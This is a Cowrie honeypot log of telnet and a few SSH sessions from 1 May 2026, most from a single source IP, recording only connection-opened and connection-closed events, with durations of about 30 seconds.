{"eventid":"cowrie.session.closed","duration":31.07123899459839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.257189Z","src_ip":"69.6.196.124","session":"decd5955980d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53152,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d536f60497","protocol":"telnet","message":"New connection: 69.6.196.124:53152 (159.203.135.109:23) [session: 04d536f60497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.327116Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.347799Z","src_ip":"41.63.62.103","session":"be709eb74767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86508846282959,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.352818Z","src_ip":"69.6.196.124","session":"e7fd50564137","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53162,"dst_ip":"159.203.135.109","dst_port":23,"session":"030fce188419","protocol":"telnet","message":"New connection: 69.6.196.124:53162 (159.203.135.109:23) [session: 030fce188419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.369522Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":34194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dca0700cfd1","protocol":"telnet","message":"New connection: 69.6.196.124:34194 (159.203.135.109:23) [session: 3dca0700cfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.451634Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53172,"dst_ip":"159.203.135.109","dst_port":23,"session":"e90f53d7fe9f","protocol":"telnet","message":"New connection: 69.6.196.124:53172 (159.203.135.109:23) [session: e90f53d7fe9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.487544Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53180,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f93e7655183","protocol":"telnet","message":"New connection: 69.6.196.124:53180 (159.203.135.109:23) [session: 1f93e7655183]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.647276Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53190,"dst_ip":"159.203.135.109","dst_port":23,"session":"d084feff2c85","protocol":"telnet","message":"New connection: 69.6.196.124:53190 (159.203.135.109:23) [session: d084feff2c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.736947Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53206,"dst_ip":"159.203.135.109","dst_port":23,"session":"70e5af8a5413","protocol":"telnet","message":"New connection: 69.6.196.124:53206 (159.203.135.109:23) [session: 70e5af8a5413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:17.913960Z"}
{"eventid":"cowrie.session.closed","duration":31.791685819625854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:18.004868Z","src_ip":"69.6.196.124","session":"ad09c954813d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53144,"dst_ip":"159.203.135.109","dst_port":23,"session":"d84c58b75592","protocol":"telnet","message":"New connection: 69.6.196.124:53144 (159.203.135.109:23) [session: d84c58b75592]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:18.216580Z"}
{"eventid":"cowrie.session.closed","duration":31.017996311187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:18.257382Z","src_ip":"69.6.196.124","session":"ef1d3b9ec2d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93531107902527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:18.286551Z","src_ip":"69.6.196.124","session":"9c78f98e619a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53208,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8457bf3f7c7","protocol":"telnet","message":"New connection: 69.6.196.124:53208 (159.203.135.109:23) [session: b8457bf3f7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:18.693223Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53130,"dst_ip":"159.203.135.109","dst_port":23,"session":"47f5c9d0b4bb","protocol":"telnet","message":"New connection: 69.6.196.124:53130 (159.203.135.109:23) [session: 47f5c9d0b4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:19.114100Z"}
{"eventid":"cowrie.session.closed","duration":31.711205005645752,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:19.127841Z","src_ip":"69.6.196.124","session":"c30b1df7e2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":53222,"dst_ip":"159.203.135.109","dst_port":23,"session":"d088caf4d7e7","protocol":"telnet","message":"New connection: 69.6.196.124:53222 (159.203.135.109:23) [session: d088caf4d7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:19.259405Z"}
{"eventid":"cowrie.session.closed","duration":31.03615713119507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:19.397729Z","src_ip":"69.6.196.124","session":"0285fe9f6041","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.594116687774658,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:20.256380Z","src_ip":"69.6.196.124","session":"53c1e570f2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148274898529053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:20.830172Z","src_ip":"69.6.196.124","session":"0cc4a67fb6a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51846,"dst_ip":"159.203.135.109","dst_port":23,"session":"53665e89227a","protocol":"telnet","message":"New connection: 69.6.196.124:51846 (159.203.135.109:23) [session: 53665e89227a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:20.891141Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":43234,"dst_ip":"10.17.0.5","dst_port":23,"session":"0356033722d2","protocol":"telnet","message":"New connection: 185.53.58.141:43234 (10.17.0.5:23) [session: 0356033722d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:21.013545Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d241941af49b","protocol":"telnet","message":"New connection: 69.6.196.124:51860 (159.203.135.109:23) [session: d241941af49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:22.093104Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51870,"dst_ip":"159.203.135.109","dst_port":23,"session":"c87974f545aa","protocol":"telnet","message":"New connection: 69.6.196.124:51870 (159.203.135.109:23) [session: c87974f545aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.036061Z"}
{"eventid":"cowrie.session.closed","duration":30.450655221939087,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.281492Z","src_ip":"69.6.196.124","session":"4a92819eb200","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.328130960464478,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.295201Z","src_ip":"69.6.196.124","session":"4e5d2aa15bae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.558622360229492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.369175Z","src_ip":"69.6.196.124","session":"138565bee33a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48230814933777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.396194Z","src_ip":"69.6.196.124","session":"4faf281b7f52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18732786178589,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.504321Z","src_ip":"69.6.196.124","session":"ecea0dbae3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"570f5fd90ab7","protocol":"telnet","message":"New connection: 69.6.196.124:51836 (159.203.135.109:23) [session: 570f5fd90ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:23.883383Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51872,"dst_ip":"159.203.135.109","dst_port":23,"session":"67c1a7d5c918","protocol":"telnet","message":"New connection: 69.6.196.124:51872 (159.203.135.109:23) [session: 67c1a7d5c918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:24.052800Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51888,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ec18bfab749","protocol":"telnet","message":"New connection: 69.6.196.124:51888 (159.203.135.109:23) [session: 9ec18bfab749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:24.709162Z"}
{"eventid":"cowrie.session.closed","duration":34.89950656890869,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:25.342041Z","src_ip":"69.6.196.124","session":"ce55b34af5e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51926,"dst_ip":"159.203.135.109","dst_port":23,"session":"0eca0b30a2b3","protocol":"telnet","message":"New connection: 69.6.196.124:51926 (159.203.135.109:23) [session: 0eca0b30a2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.306508Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9e2f6920eb0","protocol":"telnet","message":"New connection: 69.6.196.124:51936 (159.203.135.109:23) [session: c9e2f6920eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.461400Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51950,"dst_ip":"159.203.135.109","dst_port":23,"session":"c51a0ac6e6f9","protocol":"telnet","message":"New connection: 69.6.196.124:51950 (159.203.135.109:23) [session: c51a0ac6e6f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.468212Z"}
{"eventid":"cowrie.session.closed","duration":30.59611940383911,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.476434Z","src_ip":"69.6.196.124","session":"31b98a3f0d4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51968,"dst_ip":"159.203.135.109","dst_port":23,"session":"72764dc8da3e","protocol":"telnet","message":"New connection: 69.6.196.124:51968 (159.203.135.109:23) [session: 72764dc8da3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.574713Z"}
{"eventid":"cowrie.session.closed","duration":31.121781587600708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.815512Z","src_ip":"69.6.196.124","session":"4a71a7c748ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51898,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab426d88c9d9","protocol":"telnet","message":"New connection: 69.6.196.124:51898 (159.203.135.109:23) [session: ab426d88c9d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.889649Z"}
{"eventid":"cowrie.session.closed","duration":31.472739934921265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:26.973354Z","src_ip":"69.6.196.124","session":"084f773ccc17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51974,"dst_ip":"159.203.135.109","dst_port":23,"session":"8442815d81be","protocol":"telnet","message":"New connection: 69.6.196.124:51974 (159.203.135.109:23) [session: 8442815d81be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:27.005888Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51910,"dst_ip":"159.203.135.109","dst_port":23,"session":"df1973cc7a7a","protocol":"telnet","message":"New connection: 69.6.196.124:51910 (159.203.135.109:23) [session: df1973cc7a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:27.018008Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51962,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2278cec0d5f","protocol":"telnet","message":"New connection: 69.6.196.124:51962 (159.203.135.109:23) [session: f2278cec0d5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:27.594846Z"}
{"eventid":"cowrie.session.closed","duration":36.465638399124146,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:27.871670Z","src_ip":"69.6.196.124","session":"cdf2daa63483","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095558881759644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.319076Z","src_ip":"69.6.196.124","session":"77ed7ae564be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51998,"dst_ip":"159.203.135.109","dst_port":23,"session":"abf6101e5213","protocol":"telnet","message":"New connection: 69.6.196.124:51998 (159.203.135.109:23) [session: abf6101e5213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.324483Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52006,"dst_ip":"159.203.135.109","dst_port":23,"session":"13f0b61e87b8","protocol":"telnet","message":"New connection: 69.6.196.124:52006 (159.203.135.109:23) [session: 13f0b61e87b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.433488Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52014,"dst_ip":"159.203.135.109","dst_port":23,"session":"8610885a861d","protocol":"telnet","message":"New connection: 69.6.196.124:52014 (159.203.135.109:23) [session: 8610885a861d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.688405Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51986,"dst_ip":"159.203.135.109","dst_port":23,"session":"d566604d8c31","protocol":"telnet","message":"New connection: 69.6.196.124:51986 (159.203.135.109:23) [session: d566604d8c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.713643Z"}
{"eventid":"cowrie.session.closed","duration":31.133948802947998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:28.770320Z","src_ip":"69.6.196.124","session":"2d9aeba9f4ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52022,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa130d2c2c52","protocol":"telnet","message":"New connection: 69.6.196.124:52022 (159.203.135.109:23) [session: fa130d2c2c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.058562Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52024,"dst_ip":"159.203.135.109","dst_port":23,"session":"6271654633b6","protocol":"telnet","message":"New connection: 69.6.196.124:52024 (159.203.135.109:23) [session: 6271654633b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.073004Z"}
{"eventid":"cowrie.session.closed","duration":30.5306077003479,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.344378Z","src_ip":"69.6.196.124","session":"4bec7f34bd99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52040,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c4f090efc55","protocol":"telnet","message":"New connection: 69.6.196.124:52040 (159.203.135.109:23) [session: 9c4f090efc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.514446Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52044,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b18144274e8","protocol":"telnet","message":"New connection: 69.6.196.124:52044 (159.203.135.109:23) [session: 1b18144274e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.563331Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":52018,"dst_ip":"159.203.135.109","dst_port":23,"session":"8881f714a391","protocol":"telnet","message":"New connection: 69.6.196.124:52018 (159.203.135.109:23) [session: 8881f714a391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:29.800678Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40876,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a4deac48c87","protocol":"telnet","message":"New connection: 69.6.196.124:40876 (159.203.135.109:23) [session: 0a4deac48c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:30.332507Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40892,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab6f862bbd3","protocol":"telnet","message":"New connection: 69.6.196.124:40892 (159.203.135.109:23) [session: 6ab6f862bbd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:30.421703Z"}
{"eventid":"cowrie.session.closed","duration":30.688756465911865,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:30.801535Z","src_ip":"69.6.196.124","session":"8d808c0a5f81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40914,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f99fb078787","protocol":"telnet","message":"New connection: 69.6.196.124:40914 (159.203.135.109:23) [session: 8f99fb078787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:30.845155Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40926,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3bddfdf822c","protocol":"telnet","message":"New connection: 69.6.196.124:40926 (159.203.135.109:23) [session: d3bddfdf822c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:30.908372Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40930,"dst_ip":"159.203.135.109","dst_port":23,"session":"184b0a6589b4","protocol":"telnet","message":"New connection: 69.6.196.124:40930 (159.203.135.109:23) [session: 184b0a6589b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.021319Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40936,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a79d57f7bc0","protocol":"telnet","message":"New connection: 69.6.196.124:40936 (159.203.135.109:23) [session: 9a79d57f7bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.047004Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40942,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d00e7c00e06","protocol":"telnet","message":"New connection: 69.6.196.124:40942 (159.203.135.109:23) [session: 9d00e7c00e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.094701Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40900,"dst_ip":"159.203.135.109","dst_port":23,"session":"b82a84058e25","protocol":"telnet","message":"New connection: 69.6.196.124:40900 (159.203.135.109:23) [session: b82a84058e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.464389Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40906,"dst_ip":"159.203.135.109","dst_port":23,"session":"f707c52ddb87","protocol":"telnet","message":"New connection: 69.6.196.124:40906 (159.203.135.109:23) [session: f707c52ddb87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.561913Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40952,"dst_ip":"159.203.135.109","dst_port":23,"session":"971eee660b7c","protocol":"telnet","message":"New connection: 69.6.196.124:40952 (159.203.135.109:23) [session: 971eee660b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:31.832324Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40954,"dst_ip":"159.203.135.109","dst_port":23,"session":"70ac1497e67e","protocol":"telnet","message":"New connection: 69.6.196.124:40954 (159.203.135.109:23) [session: 70ac1497e67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:32.505470Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40970,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55f505d8a28","protocol":"telnet","message":"New connection: 69.6.196.124:40970 (159.203.135.109:23) [session: e55f505d8a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:32.571767Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40976,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ab90b498e82","protocol":"telnet","message":"New connection: 69.6.196.124:40976 (159.203.135.109:23) [session: 7ab90b498e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:32.731225Z"}
{"eventid":"cowrie.session.closed","duration":31.138376474380493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:33.227230Z","src_ip":"69.6.196.124","session":"23b8cc5d3465","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41004,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a8c3fe0c33d","protocol":"telnet","message":"New connection: 69.6.196.124:41004 (159.203.135.109:23) [session: 1a8c3fe0c33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:33.413755Z"}
{"eventid":"cowrie.session.closed","duration":30.87156105041504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:33.508221Z","src_ip":"69.6.196.124","session":"6a650f20f44e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.817249536514282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:34.264630Z","src_ip":"69.6.196.124","session":"a0db59305c99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":40992,"dst_ip":"159.203.135.109","dst_port":23,"session":"623152eff2aa","protocol":"telnet","message":"New connection: 69.6.196.124:40992 (159.203.135.109:23) [session: 623152eff2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:34.313848Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":41008,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bdf9b48ba55","protocol":"telnet","message":"New connection: 69.6.196.124:41008 (159.203.135.109:23) [session: 9bdf9b48ba55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:34.495281Z"}
{"eventid":"cowrie.session.closed","duration":30.89313530921936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:45:34.542524Z","src_ip":"69.6.196.124","session":"e36710c6138a","protocol":"telnet"}
